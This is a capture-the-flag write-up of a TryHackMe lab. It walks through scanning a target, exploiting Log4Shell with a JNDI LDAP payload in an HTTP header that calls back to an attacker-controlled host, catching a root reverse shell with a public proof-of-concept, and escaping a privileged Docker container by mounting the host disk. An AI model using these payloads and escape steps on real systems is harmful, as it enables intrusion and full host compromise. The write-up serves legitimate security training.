Lumberjack Turtle

By Praveen Kumar Sharma

For me IP of the machine is : 10.10.12.249

Lets try pinging it

```
ping 10.10.12.249 -c 5

PING 10.10.12.249 (10.10.12.249) 56(84) bytes of data.
64 bytes from 10.10.12.249: icmp_seq=1 ttl=60 time=172 ms
64 bytes from 10.10.12.249: icmp_seq=2 ttl=60 time=154 ms
64 bytes from 10.10.12.249: icmp_seq=3 ttl=60 time=173 ms
64 bytes from 10.10.12.249: icmp_seq=4 ttl=60 time=172 ms
64 bytes from 10.10.12.249: icmp_seq=5 ttl=60 time=396 ms

--- 10.10.12.249 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 154.004/213.303/396.036/91.637 ms
```

Alright lets do some port scanning

Port Scanning :

All Port Scan :

```
rustscan -a 10.10.12.249 --ulimit 5000
```

```
rustscan -a 10.10.12.249 --ulimit 5000

.----. .-. .-. .----.---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
----------------------------------------
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/pks/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.12.249:22
Open 10.10.12.249:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-13 21:37 IST
Initiating Ping Scan at 21:37
Scanning 10.10.12.249 [2 ports]
Completed Ping Scan at 21:37, 0.17s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:37
Completed Parallel DNS resolution of 1 host. at 21:37, 0.06s elapsed
DNS resolution of 1 IPs took 0.06s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 21:37
Scanning 10.10.12.249 [2 ports]
Discovered open port 80/tcp on 10.10.12.249
Discovered open port 22/tcp on 10.10.12.249
Completed Connect Scan at 21:37, 0.15s elapsed (2 total ports)
Nmap scan report for 10.10.12.249
Host is up, received syn-ack (0.16s latency).
Scanned at 2024-09-13 21:37:08 IST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
```

Open ports

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack

Aggressive Scan :

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.10.12.249 -o aggressiveScan.txt
```

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.10.12.249 -o aggressiveScan.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-13 21:39 IST
Nmap scan report for 10.10.12.249
Host is up (0.17s latency).

PORT   STATE SERVICE     VERSION
22/tcp open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6a:a1:2d:13:6c:8f:3a:2d:e3:ed:84:f4:c7:bf:20:32 (RSA)
|   256 1d:ac:5b:d6:7c:0c:7b:5b:d4:fe:e8:fc:a1:6a:df:7a (ECDSA)
|_  256 13:ee:51:78:41:7e:3f:54:3b:9a:24:9b:06:e2:d5:14 (ED25519)
80/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.45 seconds
```

Aggressive scan

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
| 2048 6a:a1:2d:13:6c:8f:3a:2d:e3:ed:84:f4:c7:bf:20:32 (RSA)
| 256 1d:ac:5b:d6:7c:0c:7b:5b:d4:fe:e8:fc:a1:6a:df:7a (ECDSA)
|_ 256 13:ee:51:78:41:7e:3f:54:3b:9a:24:9b:06:e2:d5:14 (ED25519)
80/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain;charset=UTF-
8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Alright lets do some directory fuzzing now

Directory Fuzzing

```
feroxbuster --url http://10.10.12.249 -w
/usr/share/wordlists/dirb/common.txt -t 200
```

```
feroxbuster --url http://10.10.12.249 -w /usr/share/wordlists/dirb/common.txt -t 200


 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
────────────────────────────────────────────────────────────
 🎯 Target Url            http://10.10.12.249
 🚀 Threads               200
 📖 Wordlist              /usr/share/wordlists/dirb/common.txt
 👌 Status Codes          All Status Codes!
 💥 Timeout (secs)        7
 🦡 User-Agent            feroxbuster/2.10.4
 💉 Config File           /home/pks/.config/feroxbuster/ferox-config.toml
 🔎 Extract Links         true
 🏁 HTTP methods          [GET]
 🔃 Recursion Depth       4
────────────────────────────────────────────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
────────────────────────────────────────────────────────────
404      GET        1l        2w        -c Auto-filtering found 404-like response and
200      GET        1l       19w       87c http://10.10.12.249/
200      GET        1l        6w       29c http://10.10.12.249/~logs
500      GET        1l        1w       73c http://10.10.12.249/error
[####################] - 6s      4614/4614    0s      found:3       errors:0
[####################] - 6s      4614/4614    836/s   http://10.10.12.249/
```

Directories

200 GET 1l 19w 87c http://10.10.12.249/
200 GET 1l 6w 29c http://10.10.12.249/~logs
500 GET 1l 1w 73c http://10.10.12.249/error

Lets get to this web application now

Web Application :

Default page :

Not Secure http://10.10.12.249

What you doing here? There is nothing for you to C. Grab a cup of java and look deeper.

Lets see this /~logs now

Not Secure http://10.10.12.249/~logs

No logs, no crime. Go deeper.

It point us to dig deeper but im just curios lets see this /error first then we'll enumerate further

Not Secure http://10.10.12.249/error 190%

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Fri Sep 13 16:20:05 GMT 2024
There was an unexpected error (type=None, status=999).

So nothing here
Lets enumerate /~logs/ further

```
feroxbuster --url http://10.10.12.249/\~logs/ -w
/usr/share/wordlists/dirb/common.txt -t 200
```

```
feroxbuster --url http://10.10.12.249/\~logs/ -w /usr/share/wordlists/dirb/common.txt -t 200

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
────────────────────────────────────────────────────
 🎯 Target Url            http://10.10.12.249/~logs/
 🚀 Threads               200
 📖 Wordlist              /usr/share/wordlists/dirb/common.txt
 👌 Status Codes          All Status Codes!
 💥 Timeout (secs)        7
 🦡 User-Agent            feroxbuster/2.10.4
 💉 Config File           /home/pks/.config/feroxbuster/ferox-config.toml
 🔎 Extract Links         true
 🏁 HTTP methods          [GET]
 🔃 Recursion Depth       4
────────────────────────────────────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
────────────────────────────────────────────────────
404      GET        1l        2w        -c Auto-filtering found 404-like response and created
200      GET        1l        6w       29c http://10.10.12.249/~logs/
200      GET        1l        8w       47c http://10.10.12.249/~logs/log4j
[#####################] - 7s      4614/4614    0s      found:2       errors:0
[#####################] - 6s      4614/4614    755/s   http://10.10.12.249/~logs/
```

Another page here lets check this out

Not Secure http://10.10.12.249/~logs/log4j

Hello, vulnerable world! What could we do HERE?

So i checked like burp to see if i can spot something and found this

Request

Pretty Raw Hex

```
1  GET /~logs/log4j HTTP/1.1
2  Host: 10.10.12.249
3  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0)
   Gecko/20100101 Firefox/130.0
4  Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,
   image/avif,image/jxl,image/webp,image/png,image/svg+xm
   l,*/*;q=0.8
5  Accept-Language: en-US,en;q=0.5
6  Accept-Encoding: gzip, deflate, br
7  DNT: 1
8  Sec-GPC: 1
9  Connection: keep-alive
10 Upgrade-Insecure-Requests: 1
11 Priority: u=0, i
12
13
```

Response

Pretty Raw Hex Render

```
1  HTTP/1.1 200
2  X-THM-HINT: CVE-2021-44228 against X-Api-Version
3  Content-Type: text/html;charset=UTF-8
4  Content-Length: 47
5  Date: Fri, 13 Sep 2024 16:26:55 GMT
6  Keep-Alive: timeout=60
7  Connection: keep-alive
8
9  Hello, vulnerable world! What could we do HERE?
```

So we found our foothold here

Gaining Access :

I searched this up and found a way to test this

```
${jndi:ldap://10.17.94.2:9001/a}
```

Lets first start a listener on 9001

```
nc -lvp 9001

Listening on 0.0.0.0 9001
```

Then lets put in the payload in the request

Request

Pretty Raw Hex

```
GET /~logs/log4j HTTP/1.1
Host: 10.10.12.249
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: ${jndi:ldap://10.17.94.2:9001/a}
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

And we get our response here

```
nc -lvp 9001

Listening on 0.0.0.0 9001
Connection received on 10.10.12.249 55152
0
 `
```

And now lets actually exploit this so i found this exploit right here :
https://github.com/kozmer/log4j-shell-poc?tab=readme-ov-file

Downlaod it and follow the intruction and what it wants

i got it here lets run it

```
./poc.py --userip 10.17.94.2 --webport 8000 --lport 9001


[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.17.94.2:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
```

Now lets put this payload in burp again

Start a listener with `nc -lvnp 9001` now and then put in the payload and u should have your shell here

Request

Pretty Raw Hex

```
1  GET /~logs/log4j HTTP/1.1
2  Host: 10.10.12.249
3  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:130.0)
   Gecko/20100101 Firefox/130.0
4  Accept: ${jndi:ldap://10.17.94.2:1389/a}
5  Accept-Language: en-US,en;q=0.5
6  Accept-Encoding: gzip, deflate, br
7  DNT: 1
8  Sec-GPC: 1
9  Connection: keep-alive
10 Upgrade-Insecure-Requests: 1
11 Priority: u=0, i
12
13
```

And we have our shell here

```
nc -lnvp 9001

Listening on 0.0.0.0 9001
Connection received on 10.10.12.249 55174
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm
```

We are root here lets looks for the first flag

```
find / | grep "flag"
```

```
find / | grep "flag"
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/sys/devices/pnp0/00:06/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/opt/.flag1
```

U can read it from here

Vertical PrivEsc

So im very sure that we are in a docker container lets just confirm that i gonna run linpeas to confirm but u can check our this article that covers this : https://tuhrig.de/how-to-know-you-are-inside-a-docker-container/?source=post_page-----6813a08ae38b----------

And we can also find if we have the privileged flag enabled in container

```
╔══╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)
-rwxr-xr-x  1 root     root        862777 Sep 13 17:02 /tmp/linpeas.sh
-rw-------  1 root     root         32768 Sep 13 17:03 /tmp/hsperfdata_root/1
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/cgroup.procs
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/memory.use_hierarchy
-r--r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/memory.kmem.tcp.usage_in_bytes
-rw-r--r--  1 root     root             0 Sep 13 15:56 /tmp/cgroup_3628d4/memory.soft_limit_in_bytes
-r--r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/cgroup.sane_behavior
--w-------  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/memory.force_empty
----------  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/memory.pressure_level
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/memory.move_charge_at_immigrate
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/memory.kmem.tcp.max_usage_in_bytes
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/memory.max_usage_in_bytes
-rw-r--r--  1 root     root             0 Sep 13 15:56 /tmp/cgroup_3628d4/memory.oom_control
-r--r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/memory.stat
-r--r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/memory.kmem.slabinfo
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/cgroup.procs
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.use_hierarchy
-r--r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.kmem.tcp.usage_in_bytes
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.soft_limit_in_bytes
--w-------  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.force_empty
----------  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.pressure_level
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.move_charge_at_immigrate
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.kmem.tcp.max_usage_in_bytes
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.max_usage_in_bytes
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.oom_control
-r--r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.stat
-r--r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.kmem.slabinfo
-rw-r--r--  1 root     root             0 Sep 13 17:02 /tmp/cgroup_3628d4/docker/memory.limit_in_bytes
```

Looks at those docker files telling us that its a docker container

and the way to confirm that privilege flag is enabled is by running this command and we should not receive any error

```
ip link add dummy0 type dummy
```

and we do not so we know this is enabled

Moving on lets actually exploit it
So how this work is by finding mountable disk with these commands

```
mount -l

fdisk -l
```

```
mount -l
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/IVRIXPIPTAUXLMA5W6H67HBIQ
7EGXOSQLBNUX3TPNWZVUN7:/var/lib/docker/overlay2/l/2C3UM7KSHOQFXMNHLV4UKRHUBA:/var/lib/docker/overlay
ar/lib/docker/overlay2/l/QJ4UCS3NWCXAINAYJMJONR5IRK:/var/lib/docker/overlay2/l/ALNGHDOKRDHGZIU4CJY7V
JCGLSV7ETSUUDJI2UQEXQBKHAV,upperdir=/var/lib/docker/overlay2/45f5ba1171dd637879f1e304a84acac05fad983
4a84acac05fad98331af1c87c495022ecb2f61bca/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_p
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/xvda1 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered) [cloudimg-rootfs]
/dev/xvda1 on /etc/hostname type ext4 (rw,relatime,data=ordered) [cloudimg-rootfs]
/dev/xvda1 on /etc/hosts type ext4 (rw,relatime,data=ordered) [cloudimg-rootfs]
cgroup on /tmp/cgroup_3628d4 type cgroup (rw,relatime,memory)
```

and the fdisk command

```
fdisk -l
Disk /dev/xvda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x3650a2cc

Device     Boot Start      End  Sectors Size Id Type
/dev/xvda1 *     2048 83886046 83883999  40G 83 Linux


Disk /dev/xvdh: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/xvdf: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
```

So this xvda is common in both lets mount in now

```
mount /dev/xvda1 /mnt
cd /mnt
ls -al
total 100
drwxr-xr-x   22 root     root         4096 Sep 13 15:55 .
drwxr-xr-x    1 root     root         4096 Dec 13  2021 ..
drwxr-xr-x    2 root     root         4096 Dec  8  2021 bin
drwxr-xr-x    3 root     root         4096 Dec  8  2021 boot
drwxr-xr-x    4 root     root         4096 Dec  8  2021 dev
drwxr-xr-x   94 root     root         4096 Dec 13  2021 etc
drwxr-xr-x    3 root     root         4096 Dec 13  2021 home
lrwxrwxrwx    1 root     root           34 Dec  8  2021 initrd.img -> boot/initrd.img-4.15.0-163-generic
lrwxrwxrwx    1 root     root           34 Dec  8  2021 initrd.img.old -> boot/initrd.img-4.15.0-163-generic
drwxr-xr-x   20 root     root         4096 Dec 13  2021 lib
drwxr-xr-x    2 root     root         4096 Dec  8  2021 lib64
drwx------    2 root     root        16384 Dec  8  2021 lost+found
drwxr-xr-x    2 root     root         4096 Dec  8  2021 media
drwxr-xr-x    2 root     root         4096 Dec  8  2021 mnt
drwxr-xr-x    3 root     root         4096 Dec 13  2021 opt
drwxr-xr-x    2 root     root         4096 Apr 24  2018 proc
drwx------    4 root     root         4096 Dec 13  2021 root
drwxr-xr-x    3 root     root         4096 Dec  8  2021 run
drwxr-xr-x    2 root     root         4096 Dec 13  2021 sbin
drwxr-xr-x    2 root     root         4096 Dec  8  2021 srv
drwxr-xr-x    2 root     root         4096 Apr 24  2018 sys
drwxrwxrwt    8 root     root         4096 Sep 13 16:01 tmp
drwxr-xr-x   12 root     root         4096 Dec 13  2021 usr
drwxr-xr-x   12 root     root         4096 Dec 13  2021 var
lrwxrwxrwx    1 root     root           31 Dec  8  2021 vmlinuz -> boot/vmlinuz-4.15.0-163-generic
lrwxrwxrwx    1 root     root           31 Dec  8  2021 vmlinuz.old -> boot/vmlinuz-4.15.0-163-generic
```

Got it lets check root folder here

```
ls -al
total 28
drwx------    4 root     root         4096 Dec 13  2021 .
drwxr-xr-x   22 root     root         4096 Sep 13 15:55 ..
drwxr-xr-x    2 root     root         4096 Dec 13  2021 ...
-rw-r--r--    1 root     root         3106 Apr  9  2018 .bashrc
-rw-r--r--    1 root     root          148 Aug 17  2015 .profile
drwx------    2 root     root         4096 Dec 13  2021 .ssh
-r--------    1 root     root           29 Dec 13  2021 root.txt
```

this root.txt is not the real flag here btw lets read it now

```
cat root.txt
Pffft. Come on. Look harder.
```

So we do that this ... directory in here too lets check this and here is final flag

```
cd ...
ls -al
total 12
drwxr-xr-x    2 root     root         4096 Dec 13  2021 .
drwx------    4 root     root         4096 Dec 13  2021 ..
-r--------    1 root     root           26 Dec 13  2021 ._fLaG2
```

Thanks for reading :)